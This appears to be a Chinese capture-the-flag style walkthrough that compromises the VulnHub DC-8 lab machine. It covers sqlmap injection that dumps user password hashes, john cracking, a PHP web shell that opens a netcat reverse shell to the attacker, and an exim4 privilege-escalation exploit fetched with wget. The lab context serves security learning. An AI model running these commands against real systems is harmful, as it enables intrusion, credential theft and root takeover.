@


前言

通過一些靶機實戰練習,學習使用現有的工具來成為指令碼小子。

一、環境搭建

  1. 靶機:Linux虛擬機器 DC8(下載地址 https://www.vulnhub.com/entry/dc-8,367/),解壓雙擊用VM虛擬機器開啟即可。
  2. 用於攻擊的主機(本次採用kali)
  3. 確保主機和虛擬機器在同一網段下。

二、目標和思路

  1. 繞過兩因素身份驗證,獲得 root 並讀取唯一的標誌flag檔案。
  2. 思路:資訊收集->getshell->提權

三、實際操作

1.資訊收集

  1. 檢視靶機ip

  2. 使用netdiscover進行掃描,得到目標靶機的ip地址。netdiscover -r 192.168.124.0/24

  3. 使用nmap掃描靶機埠,檢視哪些埠開放。nmap 192.168.124.134



    發現存在web伺服器,網頁訪問網站。

  4. 網站點選連結發現可能存在sql注入,使用sqlmap掃描。

    #嘗試獲取資料庫名
    sqlmap -u http://192.168.124.134/?nid=1 --dbs
    #嘗試獲取表名
    sqlmap -u http://192.168.124.134/?nid=1 -D d7db --tables
    發現其中含有user表,此表往往是登陸網站,破解的關鍵資料。
    #嘗試獲取user表內的欄位名
    sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users --columns
    #對user表內name和pass欄位進行資料獲取
    sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users -C name,pass --dump

    得到賬號密碼



    密碼明顯可以看出是經過加密的,所以我們需要解密。

  5. 使用john解密

    先將資料儲存進一個檔案example.txt中,並且以使用者名稱:密碼的形式進行儲存。

    #在檔案當前目錄下使用john解密
    john example.txt



    得到john的密碼,admin的密碼解密失敗。

  6. 使用dirb搜尋網站目錄,獲得登陸入口 dirb http://192.168.124.134,發現目錄中存在/user,進入頁面輸入賬號密碼登陸成功。

2.getshell

  1. 一頓亂點,發現找到了可以編寫php程式碼的位置(點選左上角content->點選edit->點選webforms->點選form settings->點選下拉框選擇php code



  2. 輸入一句話木馬上傳反彈shell(此處無法找到路徑所以用反彈shell)<?php system("nc -n 192.168.124.134 9999 -e /bin/bash");?>(簡單解釋:nc是netcat命令,用於兩臺設別互相互動,-e引數表示當連線成功時在本機開啟一個terminal,所有輸入會傳入到terminal上。)

  3. 儲存後,先在kali上啟動監聽,等待靶機連線 nc -lvp 9999

  4. 在網頁隨意提交一個評論,啟動連線

  5. 檢視terminal發現連線成功,為了更方便的使用遠端shell,可以嘗試寫一個python偽terminal來使用python -c "import pty; pty.spawn('/bin/bash');"

  6. 檢視安裝的軟體是否含有suidfind / -perm -4000 2>/dev/null

    發現伺服器軟體exim4。

  7. 使用searchsploit查詢相關漏洞。searchsploit exim4 找到漏洞提權檔案 linux/local/46996.sh,開啟檔案,檢視使用命令

    #usage instructions
    function usage()
    {
    echo "$0 [-m METHOD]"
    echo
    echo "-m setuid : use the setuid payload (default)"
    echo "-m netcat : use the netcat payload"
    echo
    exit 1
    }

    將該檔案複製到kali apache伺服器上,便於靶機下載(什麼伺服器都行)。

  8. 啟動apache伺服器 systemctl start apache2,使用之前的反彈shell下載漏洞檔案wget http://192.168.124.130/exim4.sh(exim4.sh是漏洞檔案,改了個名字)。許可權不足時選擇/tmp下載。下載成功後新增執行許可權 chmod 777 exim4.sh

  9. 注意,直接執行指令碼檔案如果提示失敗,有可能是格式問題,需要在主機上將指令碼格式設定成符合unix格式。然後重新上傳和下載。

    vim exim4.sh
    :set ff=unix
    :wq
  10. 根據指令碼內使用方法輸入命令 ./exim4.sh -m netcat 指令碼執行成功後,成功開啟/root/flag.txt檔案,攻擊成功。

總結

本次實驗主要還是遵循 資訊收集->getshell->提權 的思路,算是一次簡單的入門實戰練習。在更復雜的環境下還需要考慮更多方面的因素,需要不斷實踐總結。